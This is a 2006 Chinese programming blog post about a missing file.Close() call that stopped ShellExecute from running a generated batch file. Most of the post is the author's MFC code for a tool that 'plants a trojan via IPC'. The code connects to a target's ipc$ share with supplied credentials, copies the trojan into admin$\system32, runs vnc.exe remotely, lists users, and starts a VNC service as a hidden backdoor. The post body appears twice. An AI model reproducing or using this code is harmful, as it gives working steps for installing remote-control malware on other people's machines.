由file.Close()引发ShellExecute 无法执行
2006-06-01 18:20
211 查看
今天写了一个用IPC自动种植木马的程序
思路是将要执行的命令写入一个 bat 文件
然后用ShellExecute 执行bat文件
写bat 的文件代码如下:
void CIps4Dlg::OnOK()
{
//构建net use //ip/ipc$ "" /user:"administrator"
CString ip;
CString pass;
CString user;
CString muma;
GetDlgItemText(IDC_EDMUMA,muma);
GetDlgItemText(IDC_EDIP,ip);
GetDlgItemText(IDC_EDUSER,user);
GetDlgItemText(IDC_EDPASS,pass);
CString se1="net use ////";
se1+=ip;
se1+="//ipc$";
se1+=" /"";
se1+=pass;
se1+="/"";
se1+=" /user:/"";
se1+=user;
se1+="/"";
//构建COPY 文件命令
CString se2="copy ";
se2+=muma;
se2+=" ////";
se2=se2+ip;
se2+="//admin$//system32";
//构建运行木马的命令
CString se3="ps ////";
se3=se3+ip;
se3+=" c://winnt//system32//vnc.exe -d";
//查看用户
CString se4="ps ////";
se4=se4+ip;
se4+=" net user";
//用SC开始VNC的服务
CString se5="sc ////";
se5=se5+ip;
se5+=" start winvnc";
//删除IPC连接
CString se6="net use////";
se6=se6+ip;
se6+=" /del";
/////////////////////////////////////////
//将运行命令写入BAT文件
CFile file("bat.bat",CFile::modeCreate|CFile::modeReadWrite);
file.Write(se1,60);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se2,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se3,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se4,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se5,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se6,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write("pause",7);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
}
写入成功后执行:
////////////////////////////////////////
//运行BAT文件
if(ShellExecute (NULL,"open","bat.bat",NULL,NULL,SW_SHOW)<(HANDLE)32)
MessageBox("Can't ShellExecute");
这是出现错误
开始以为是文件的打开放是有误
查了一下msdn
加了一句
CFile::shareExclusive
以读写共享的方式打开文件
可惜失败了!
自己新建一个 bat文件用ShellExecute试一下
成功!这说明用ShellExecute可以调用执行批处理文件
而问题出在 file.write上
仔细观察代码 发现漏了一句!!
file.close();
加上试试成功调用!
写这么一个小程序就发现之么多问题
以后还得多写~~~~~~~~~~~
思路是将要执行的命令写入一个 bat 文件
然后用ShellExecute 执行bat文件
写bat 的文件代码如下:
void CIps4Dlg::OnOK()
{
//构建net use //ip/ipc$ "" /user:"administrator"
CString ip;
CString pass;
CString user;
CString muma;
GetDlgItemText(IDC_EDMUMA,muma);
GetDlgItemText(IDC_EDIP,ip);
GetDlgItemText(IDC_EDUSER,user);
GetDlgItemText(IDC_EDPASS,pass);
CString se1="net use ////";
se1+=ip;
se1+="//ipc$";
se1+=" /"";
se1+=pass;
se1+="/"";
se1+=" /user:/"";
se1+=user;
se1+="/"";
//构建COPY 文件命令
CString se2="copy ";
se2+=muma;
se2+=" ////";
se2=se2+ip;
se2+="//admin$//system32";
//构建运行木马的命令
CString se3="ps ////";
se3=se3+ip;
se3+=" c://winnt//system32//vnc.exe -d";
//查看用户
CString se4="ps ////";
se4=se4+ip;
se4+=" net user";
//用SC开始VNC的服务
CString se5="sc ////";
se5=se5+ip;
se5+=" start winvnc";
//删除IPC连接
CString se6="net use////";
se6=se6+ip;
se6+=" /del";
/////////////////////////////////////////
//将运行命令写入BAT文件
CFile file("bat.bat",CFile::modeCreate|CFile::modeReadWrite);
file.Write(se1,60);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se2,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se3,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se4,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se5,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write(se6,55);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
file.Write("pause",7);
file.Write(_T("/r/n"),2);
file.Write(_T("/r/n"),2);
}
写入成功后执行:
////////////////////////////////////////
//运行BAT文件
if(ShellExecute (NULL,"open","bat.bat",NULL,NULL,SW_SHOW)<(HANDLE)32)
MessageBox("Can't ShellExecute");
这是出现错误
开始以为是文件的打开放是有误
查了一下msdn
加了一句
CFile::shareExclusive
以读写共享的方式打开文件
可惜失败了!
自己新建一个 bat文件用ShellExecute试一下
成功!这说明用ShellExecute可以调用执行批处理文件
而问题出在 file.write上
仔细观察代码 发现漏了一句!!
file.close();
加上试试成功调用!
写这么一个小程序就发现之么多问题
以后还得多写~~~~~~~~~~~
相关文章推荐
- 使用dynamic引发的异常:无法对 null 引用执行运行时绑定
- 曲演杂坛--权限不足引发的错误提示“服务器无法继续执行该事务”
- VM安装Centos7 报错无法执行64位操作
- LabVIEW报表问题1-可执行文件无法打印
- nova hypervisor-list无法执行,其他api均正常
- SQLServer “无法对数据库'XX' 执行删除,因为它正用于复制”的解决方法
- 用PyCharm执行测试成功但无法生成HTMLTestRunner报告
- python 执行shell命令无法获取返回值的解决方法
- 打包后的JavaAgent修复线程无法被执行
- Eclipse中用Ant无法执行JUnit任务,报错的解决办法
- 用ShellExecute执行cmd命令遇到的问题总结
- ADF控件ID变化引发JS无法定位控件的解决方法
- linux上无法执行二进制文件(无法执行java命令行)
- Office 2003 Word 无法执行语言识别
- VC2005:无法执行添加/移除操作,因为代码元素是只读的....多个解决办法
- 因为应用程序正在发送一个输入同步呼叫,所以无法执行传出的呼叫 -- 解决方法【转】
- 已将该虚拟机配置为使用 64 位客户机操作系统。但是,无法执行 64 位操作。
- 执行 CreateHandle() 时无法调用值 Dispose()。
- VC++执行MSSQL存储过程产生错误"对象关闭,无法操作该对象"
- SQL Server 解决 "无法执行该操作,因为链接服务器 的 OLE DB 访问接口 "SQLNCLI10" 无法启动分布式事务"